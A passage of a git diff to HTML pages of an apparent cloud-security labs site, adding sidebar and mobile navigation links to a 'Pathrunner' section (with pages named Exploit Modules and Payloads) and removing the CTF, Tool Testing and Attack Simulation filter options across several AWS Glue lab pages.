+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-001/index.html b/docs/labs/glue-001/index.html
index ddd78173..be4f57cf 100644
--- a/docs/labs/glue-001/index.html
+++ b/docs/labs/glue-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-002-to-bucket/index.html b/docs/labs/glue-002-to-bucket/index.html
index 7b4925c9..747a6fb3 100644
--- a/docs/labs/glue-002-to-bucket/index.html
+++ b/docs/labs/glue-002-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-002/index.html b/docs/labs/glue-002/index.html
index dd84a9b9..0efcef6c 100644
--- a/docs/labs/glue-002/index.html
+++ b/docs/labs/glue-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-003/index.html b/docs/labs/glue-003/index.html
index 3e490372..87a158c1 100644
--- a/docs/labs/glue-003/index.html
+++ b/docs/labs/glue-003/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-004/index.html b/docs/labs/glue-004/index.html
index 4181eb6e..c09fa241 100644
--- a/docs/labs/glue-004/index.html
+++ b/docs/labs/glue-004/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
